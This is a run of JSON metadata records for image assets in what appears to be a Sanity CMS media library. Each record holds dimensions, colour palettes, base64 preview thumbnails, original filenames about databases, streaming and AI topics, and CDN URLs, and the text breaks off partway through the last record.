{"_createdAt":"2024-09-04T10:56:46Z","_id":"image-31dd57146e50fe2473ccecf4343985171712398b-1786x1084-png","_rev":"4gmBGwifQuSypgRenTblgY","_type":"sanity.imageAsset","_updatedAt":"2024-09-04T10:56:46Z","assetId":"31dd57146e50fe2473ccecf4343985171712398b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VIJ@@15lrUOX%gxus;I;t7WX00DO.TDixaMztSnNW;a#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6476014760147601,"height":1084,"width":1786},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAD10lEQVQokQHMAzP8ADA3al82PG54KzJmexgfWFQYH1cwLTNnUjA2anQuNWl3LzZqdi82aXYpMGVbHCNXIgAAAAQAAAACAAAAAoiIiATd3d0S5ubmIebm5h3l5eUOADM6a5M5P3C4KjFmvRYeVoAtIFtKWDlzeFRFeZxLTXuTRk56jkRHdo1SRXV9eVqESbyktRzT1tMTuri5D8vKyhbr6+tR7+/vku/v74rw8PBPAGFminpydpinaG2Rq09UfG54ToBMsW2ij7qSt7G+ucuivcHPlrOrvoS3kauM06vBluzg5n709vZy8PDwXOTl5T7q6up97Ozs3Ozs7NXw8PCDANLT2G3b3OG129vgv9PR1HLOrbtS4rvRqOfT4uPo5uzj8PDy1/Tr67Ht1dqr69nh2u7q7+bx8vXh8/L0vOvp6Wfk4uFn6ObkqOnn5qTr6+tmAOrq6Xrr6+vR6+vq4ern5Ijd0tBZ1M7XssPC0vq5u83/xMXT+9nW3dnq4+bL5+Xr8ODg6f/k5ez/7uzu2+rj4W7bxr0v49DHOOTZ1Dbh4OAfAOLj42vp6uq36unqw+Xj4nXSztBTt7nIsJmdt/iKj67/l5u3+77B1u/i4/Dq4uPv+NbY5P7b3ef/6OXr2ufc2mrSl3oW500FB+6JWQXGpJQBAObm5mvs7O227ezswejj4XPWy8pUycbUsri60Pmvs8z/t7rT/s7Q5v7h4vT94OHw/tjb6P7c3ur/5OLr2uLY2GrSj28U+gAABf84AAT/AAAAAOnp6Xvr6+vT6+vq4urk4ordzspc4Nvhst3e6vja3Or/3N3s/eHg7/vj4fH639/t/dnb6P3c3ur/4uHq2uDW12zas6Ei7rujH/DBqx3qzsEMAOTk5GLo6Oin6OjotOTg3nC7srdWtLPEs7m7zvq5vND/uLvP/bu80Om9vdHiubvP97e6zv+4u87/t7fK2rizv3Xf1NFU7OPffuzk4Hfv6+lBAM/PzyTd3d0839/fQMzKyyldYH9BWV6FqmZrke9rcJX4ZGqQ71thicpbYIm7Y2mP42twlfdpbpT3W2CJ0G1wkXjc29+D7Ovq1uvq6s/w8PB+AHZ2dgKampwEqamqBEtPWQQaIVElKC9icTY8bZ47QnGjNDpsnSIpXoEfJlt1MTdplDtCcaI4P2+jJy5iiUhOeFTb3OBv7e3tu+zs7Lfv7+9zADs7OwD///8AdXl6AAAAAAASF0IKHyVVHCguXicpL2AoJCtcJxkgUiEZH1EeJixcJSowYCgoL18oGSBTIlZaehnd3d8w7OzrU+vq61Hq6uoznx5fYwR9XTAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323661","foreground":"#fff","population":0.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c134f","foreground":"#fff","population":7.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c134f","foreground":"#fff","population":7.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfb4a5","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e396a9","foreground":"#000","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7091","foreground":"#fff","population":0.89,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb4d8c","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-ai-ml.png","path":"images/sczeoy4w/production/31dd57146e50fe2473ccecf4343985171712398b-1786x1084.png","sha1hash":"31dd57146e50fe2473ccecf4343985171712398b","size":49296,"uploadId":"f5GN5fzxTLyG7MMB9jNU5EDjEJ2fyxPr","url":"https://cdn.sanity.io/images/sczeoy4w/production/31dd57146e50fe2473ccecf4343985171712398b-1786x1084.png"} {"_createdAt":"2022-11-21T17:26:08Z","_id":"image-320f3e908f11e4653581de1a1f51ac9f120b0e08-800x317-svg","_rev":"YI3rks3mbRtnzMpdo3vRqC","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T17:26:44Z","altText":null,"assetId":"320f3e908f11e4653581de1a1f51ac9f120b0e08","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5236593059936907,"height":317,"width":800},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAECCP/EABwQAAIDAAMBAAAAAAAAAAAAAAABAgMREhMhMv/EABcBAAMBAAAAAAAAAAAAAAAAAAABAgP/xAAXEQEAAwAAAAAAAAAAAAAAAAAAAREh/9oADAMBAAIRAxEAPwDSCjb2P6wqoWNSbT1AG86hNFqlXvLfQAKw/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c3c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#282048","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a9abc7","foreground":"#000","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9abc7","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eebe81","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8474ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c8c14","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":null}},"originalFilename":"kafka-simply-explained-replications-svg.svg","path":"images/sczeoy4w/production/320f3e908f11e4653581de1a1f51ac9f120b0e08-800x317.svg","sha1hash":"320f3e908f11e4653581de1a1f51ac9f120b0e08","size":545923,"title":null,"uploadId":"pAytJRGwuRhjaFWC69sVtQp3Mf3BIx5H","url":"https://cdn.sanity.io/images/sczeoy4w/production/320f3e908f11e4653581de1a1f51ac9f120b0e08-800x317.svg"} {"_createdAt":"2024-01-08T08:46:45Z","_id":"image-3273fadf1f9fe34fc7c784db2009caf8dedc30d4-1286x722-jpg","_rev":"O0EfMG90JIl2OD8UsGyMd5","_type":"sanity.imageAsset","_updatedAt":"2024-01-08T08:46:45Z","assetId":"3273fadf1f9fe34fc7c784db2009caf8dedc30d4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MASija?aD*kC-:~oD*t6oeRkog%LRka#t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7811634349030472,"height":722,"width":1286},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQCAwUI/8QAIxAAAQQBAgcBAAAAAAAAAAAAAQACAxEEBRIhIiMxMkFxgf/EABYBAQEBAAAAAAAAAAAAAAAAAAEAAv/EABgRAQEAAwAAAAAAAAAAAAAAAAEAAhEh/9oADAMBAAIRAxEAPwDqCM9RxA4gqcr6jt3L+q3aL7JTVYI5sN7JG20+rISdYmWvaWggivqFladiQw4+2NhA3E+RKFpxBrd//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#636767","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a578d","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3543bc","foreground":"#fff","population":1.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbb4c4","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#919deb","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d64a8","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3543bc","foreground":"#fff","population":1.56,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"console-create-free-mysql-service.jpg","path":"images/sczeoy4w/production/3273fadf1f9fe34fc7c784db2009caf8dedc30d4-1286x722.jpg","sha1hash":"3273fadf1f9fe34fc7c784db2009caf8dedc30d4","size":65321,"uploadId":"aMmFpMZTnCGMJbWN76T5m1ceTUr4RQuY","url":"https://cdn.sanity.io/images/sczeoy4w/production/3273fadf1f9fe34fc7c784db2009caf8dedc30d4-1286x722.jpg"} {"_createdAt":"2023-11-18T22:00:35Z","_id":"image-32a9705f57425b597f2953b8bde05fad8808c88d-8000x4500-png","_rev":"BjY9n6joNYFLmv1rrz51Nz","_type":"sanity.imageAsset","_updatedAt":"2023-11-18T22:00:35Z","assetId":"32a9705f57425b597f2953b8bde05fad8808c88d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9S~#F~TM~x]t5_2RnWCs.fQoKWDt5WCWE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":4500,"width":8000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAAu0lEQVQokZ2TCw6DMAxDd//rbv239uSGDBgSg1WyGhXlyU7LgxcWYNIaAGsjSwN7Vw2mArYODpCPu0BAzZwgQWoDS7Vd538Bx+AOVBuYCxgzfgMd5lJkOcnVADFbZO2viPsOx8AHFpJBpFmnE+AacQ/sAhYyZlNI4HOBngKPs1NcHuIGd3rf4X52DgmLJvBsht9APZFcFXNt1r51qeiXgF3O5k1yNgumZtV+ww6+BNSfYc+DE7AFyrVL39/0RWcFEBqYBgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#202078","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c68","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4fc","foreground":"#000","population":17.5,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbe3ed","foreground":"#000","population":0.11,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4fc","foreground":"#000","population":17.5,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#202078","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3636c8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"background light gradient.png","path":"images/sczeoy4w/production/32a9705f57425b597f2953b8bde05fad8808c88d-8000x4500.png","sha1hash":"32a9705f57425b597f2953b8bde05fad8808c88d","size":378313,"uploadId":"ErIw0UdbSJkBp3RDXlUmFfuUcYUcSmVc","url":"https://cdn.sanity.io/images/sczeoy4w/production/32a9705f57425b597f2953b8bde05fad8808c88d-8000x4500.png"} {"_createdAt":"2024-05-08T12:49:48Z","_id":"image-32b74f8f011d754fd0e4657577afa60315dfe305-2324x1274-png","_rev":"mdEU5AcDfd24wlw26FKZBg","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:49:48Z","assetId":"32b74f8f011d754fd0e4657577afa60315dfe305","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M24ej5_4xvs:jY%MxtjsWCays.t6jtRjWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8241758241758241,"height":1274,"width":2324},"exif":{"PixelXDimension":2324,"PixelYDimension":1274,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABiUlEQVQokYWS7XKbMBBF/RYZwEKfSAghvjFgnLRO3/+ZbkdynDZjp/1xZvVHZ3bv7qEfNpz3K7bzFdv2M77X7Qf2/R375Rf6YYUqalBmkH9AqEZ2lEhS/sDBVj3a9oS2W9C0J/hmRuUGuHqMmLKFkA6MWzBegnIbpRlRSDPxKAwfaj+h9iOs7SBVBZIXIETFeiTqC0EUuguyuzD9eAcOQTTN5ziarToIaUGZRk4L5PRWvxvvb1F6F/pmipkt2xt8O6EwHrJwnwhVIWc6dkfyP10/GzcJIyvt0fYrxtMFTbegMA24rMBkFSsVFoQZMFFCFS7ChY3Sp8KMWRRuhp/eUI+vkG4GUS0y2URSXiPJyyjlooyEjWck5MgfOGSyg/A7yukdZryC+wuyckFqTkj0jBc54IU6JMeQpYg8yy69ZyjLAaZZof0KYSdQPSAv+kjoNGUOCdFIsq+L+VYYbi3coHUDhHJgwoLGewujlXHTtzN5zOsfh73cDroaoE0DERYi7GcN2719YP/lN/CVN9poFOKoAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c425c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#102b45","foreground":"#fff","population":1.68,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#102b45","foreground":"#fff","population":1.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#babcc4","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acc4dc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647c94","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3081cf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"rename-model-endpoint.png","path":"images/sczeoy4w/production/32b74f8f011d754fd0e4657577afa60315dfe305-2324x1274.png","sha1hash":"32b74f8f011d754fd0e4657577afa60315dfe305","size":256938,"uploadId":"zgO3Ftsi8wORFcifI72LvU9D5asvgte4","url":"https://cdn.sanity.io/images/sczeoy4w/production/32b74f8f011d754fd0e4657577afa60315dfe305-2324x1274.png"} {"_createdAt":"2024-01-29T10:45:57Z","_id":"image-32d89553eba4f5f3532f2fac627ebd5dcb90b883-1200x628-png","_rev":"lhvtNBOlLYH5KiQFQ8733R","_type":"sanity.imageAsset","_updatedAt":"2024-01-29T10:45:57Z","assetId":"32d89553eba4f5f3532f2fac627ebd5dcb90b883","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3AS_{2}:t@;0q^}G1|m18{^009+~8NNt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACsElEQVQokUXSXW9SBwCAYX7BEmWUIh8iAj20AgfK4fOcU8pXixwKhdpStbqZdV3rRi3aUqCljmqYm7WuVaeb3mhvTLYsWYzJ3H6BV/6j16xe7A88yZu8upODVeyuywwHlvBK3+ENreINNRDEBnbPDSyuNQYdDYyOW5icLUzONgP2OnrrMiPCCs2JEr9fCnOnVGEs+j26AWsNX2iZZG6TVL5DIt0iPt5BzuygZHYJybc5e24Ti7uJdaiDZajFoOM6Rvs3xMRFHldkPizZeDWvUlI20A3Y5hmN1ZmY2iZfuk2msENW65Ev99Gq98mX90hk+gQTdxiVf0BS+4jRFmK0TS7VYbc6z19fKtyfmSWT6KEzWGoEIt+S07aYLO0wOdVDq/QpVn+kOLPHdO2Acu0RheohU7NPqV58hjazz0Rpj2zhkGL+gAVtn2LuCb7Ib+hOmGbxiEuo2eZxcirfJVPokdXuki70yRV/4nzl4TFYmnvKdO0ZWvVnstoDouOPCY69Rkr/TTD5Bk/k6BPoGL5GIFZHkhtIyjphdZNYchtJ6eILb+OL7Bwnh9R7xJW7lNVbLKjLTMU7xNQjQul/CSTffgI/N8/h8S0SUdaIj28QSzaJjrWJp7pIchdPsI3L30YIdBFGd0mE22ypZf5Ii+ynypTGf0HK/PM/aDDNcE5YIBpdIaI08EfWEMRVhECDIXEdp7eJ09vC5d/CJfaQpU32kjneT9o5yqaZTR0gpd8hjr1BCL9EpzdO47ZV8Q5fRfAvYXUvYrBdw2D7GqN9BZNjlVNnb2J2bWB2d/CNrHM9coFDNcmGvEBGfoRf+ZOR+GtcwefoPjNU0BsrGMxzGKyX0FuucNL8BXrLVxhsywycrmM889/c68djO4ZaxL03mBDryOI2I8ED3KMvcAZ/xeF/wkdIYn8JcqN+vAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4574","foreground":"#fff","population":1.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041277","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d1d7eb","foreground":"#000","population":7.22,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95bf","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1d7eb","foreground":"#000","population":7.22,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696790","foreground":"#fff","population":3.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e26215","foreground":"#fff","population":5.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop social MediaRecommender 2024-02-28 (1200x628).png","path":"images/sczeoy4w/production/32d89553eba4f5f3532f2fac627ebd5dcb90b883-1200x628.png","sha1hash":"32d89553eba4f5f3532f2fac627ebd5dcb90b883","size":187773,"uploadId":"xXUaJEZBuL8l8W8OBeleitVnO1HE2FUV","url":"https://cdn.sanity.io/images/sczeoy4w/production/32d89553eba4f5f3532f2fac627ebd5dcb90b883-1200x628.png"} {"_createdAt":"2022-10-03T06:57:25Z","_id":"image-32ea56a0bc01b9fd1e39ed5d96a2acecb9bfccba-2000x957-png","_rev":"8WeirZ6KB9gJqgJfvuNwgH","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T06:57:25Z","assetId":"32ea56a0bc01b9fd1e39ed5d96a2acecb9bfccba","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.089864158829676,"height":957,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACEklEQVQokWXLTWvaYAAA4PyngJTClAR1opCKUFiZ7tCdVz9adxG8yrZelnlZEe1lMloobmzM09hBpSzE+CZLszWZaRKT2HzYGuOs065jGYXBnvsDua6r67qmaYZhjDymx7bt6XS6XC5vPL88y8Vi4TiurpmaZlkWZJomRVHtdvv4+BgAQFFUp9Npt9skSSqKMpvNrq+vb+fStuz+t1O137cN4+LyEhqPx4IgAAB6vR7LsjRNEwRBURTHcaqquq67WCz+/vl8zjBMrVo7ODhkGMYwTGg6nUqSxLIs4wEA0DTNcRzP84IgyLJsWZbjOD88nU4nl8ttbj58trv77v0HaDAYNBqNcrmM4/iLW2UPjuN7ey+bzSbLsrquO45DEMTO9k4sFtu4t7GTfwwBAAqFQjwexzAs7llbW8MwLBqNhkKh9fV1HH/e7XZNw5hMJjzP79f2t9LpZDJ1P5mESJLMZDIIggQCAQRBUBRFEMTv96+srMAwHIvFKpWKKJ7Z9oVtjTRVA4BuvHn75Onuo630n5zNZlEUvfOP1dVVn88HwzCGYa/qdVnRJFkXJVXVz5WBevL19OOnVv31IUTTdLFYTCQS0Wg0Eonc9YTD4VAoFAwGU6kHR0dHw3NDH9rfzzRR1uTBUJQGXzjhM0lDoihWq9VCoZDP57f/UyqVWq3WZDK5uvppj8Z8X+V4RVSGnCAR3ZPfJNOejC6EZH0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":17.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d1719","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":17.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#babcc0","foreground":"#000","population":2.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e59190","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#818181","foreground":"#fff","population":2.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc5b5e","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"redis-data-types.png","path":"images/sczeoy4w/production/32ea56a0bc01b9fd1e39ed5d96a2acecb9bfccba-2000x957.png","sha1hash":"32ea56a0bc01b9fd1e39ed5d96a2acecb9bfccba","size":166518,"uploadId":"12dPhxTatW0nPlFqzdMtCqZRm7bExGUv","url":"https://cdn.sanity.io/images/sczeoy4w/production/32ea56a0bc01b9fd1e39ed5d96a2acecb9bfccba-2000x957.png"} {"_createdAt":"2022-11-16T12:18:59Z","_id":"image-32ec982014431201363b9666b7ca888895e5e4dd-468x126-svg","_rev":"YI3rks3mbRtnzMpdn9RtQo","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T12:18:59Z","assetId":"32ec982014431201363b9666b7ca888895e5e4dd","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7OWvnD%-;~qM{00009F?bxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.7142857142857144,"height":126,"width":468},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAv0lEQVQYlU3QyUqDQRAE4AQPCiJiRFExCXEBb17Ui3FBxH0XEfEJxPe/1icNI/yHprprporq7qGPXqf6XS5Jl5/gAfuYbdwM5jHAXH3cxRijJIXjJKOGwyQbqNrGCT5xih1sYQ9HOMZmGX7hGS94xB2uW/+KK5y1ucy+8Y6npntr3EclL8PfjvCiYc0lusU0yUGlS1Ipyrz4Wv0eNy3E5b/hDw6xjKW2RpmeYx0LWGw3qveVWg3DqiTV10nWsPoHUgw859uQtj4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"PaperLust-logowht.svg","path":"images/sczeoy4w/production/32ec982014431201363b9666b7ca888895e5e4dd-468x126.svg","sha1hash":"32ec982014431201363b9666b7ca888895e5e4dd","size":3314,"uploadId":"oGJh3sGtQitQK2bKDrvzNeNnyahvjebl","url":"https://cdn.sanity.io/images/sczeoy4w/production/32ec982014431201363b9666b7ca888895e5e4dd-468x126.svg"} {"_createdAt":"2023-06-08T07:58:53Z","_id":"image-32f7244c7d44019057a940c82e3256ea2fd7761a-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIyZy9Bz","_type":"sanity.imageAsset","_updatedAt":"2023-06-08T07:58:53Z","assetId":"32f7244c7d44019057a940c82e3256ea2fd7761a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBCsE-%L0vxaZ#L0GGrqmQyE|CTK14IB%#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGB//EACIQAAICAgEEAwEAAAAAAAAAAAEDAgQABREGEhMxISNxYf/EABUBAQEAAAAAAAAAAAAAAAAAAAQF/8QAHhEAAgICAgMAAAAAAAAAAAAAAQIAEQMTBCIxofH/2gAMAwEAAhEDEQA/AMrouoUY1WMpuqJpg+JyDz5nD0fzGLC9p1dslJZfTb2N2Pcwu4j4ox9DnENHadO/o685mSIy7gsgGPP5lLGjWnoepr5TEXFNIg2PwYj+cZRYIDrdb+1FYuM2s5cTV5Hq5nPUO3s0ts6pXl4YI+vsXLmPI94ZMNJm2cpEkk/JOGCZ+xqFE//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#673341","foreground":"#fff","population":1.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040d48","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#66bbdf","foreground":"#000","population":5.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5afbe","foreground":"#000","population":0.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66bbdf","foreground":"#000","population":5.99,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#50527c","foreground":"#fff","population":3.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec3832","foreground":"#fff","population":4.94,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"brolly-customer-img.jpg","path":"images/sczeoy4w/production/32f7244c7d44019057a940c82e3256ea2fd7761a-1920x1037.jpg","sha1hash":"32f7244c7d44019057a940c82e3256ea2fd7761a","size":1488800,"uploadId":"vE7pcJelpy7GZjC0QWR87EtZSm7g1Qhh","url":"https://cdn.sanity.io/images/sczeoy4w/production/32f7244c7d44019057a940c82e3256ea2fd7761a-1920x1037.jpg"} {"_createdAt":"2023-04-04T07:34:17Z","_id":"image-3301bf9e3bc0f0a4924fc9d73ea23e490ef6a753-1976x1280-png","_rev":"vOsSHiJII2yR1stA8UTFEJ","_type":"sanity.imageAsset","_updatedAt":"2023-04-04T07:34:30Z","altText":null,"assetId":"3301bf9e3bc0f0a4924fc9d73ea23e490ef6a753","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.54375,"height":1280,"width":1976},"exif":{"PixelXDimension":1976,"PixelYDimension":1280,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAACXUlEQVQ4jZ2T3UtTARjGzz9RRJrbapqsD4JAqKtIkXS27ezL/BgWdqGllV3kNnfOzmYIbWduK4qM1AVd1IUS6dYfUDd9UOTOkuiuebb+i1+cMwkhEvLix/PyPA/vzcsr7NtvodnShtV+DKv9OC22dposrTRbWrEcbs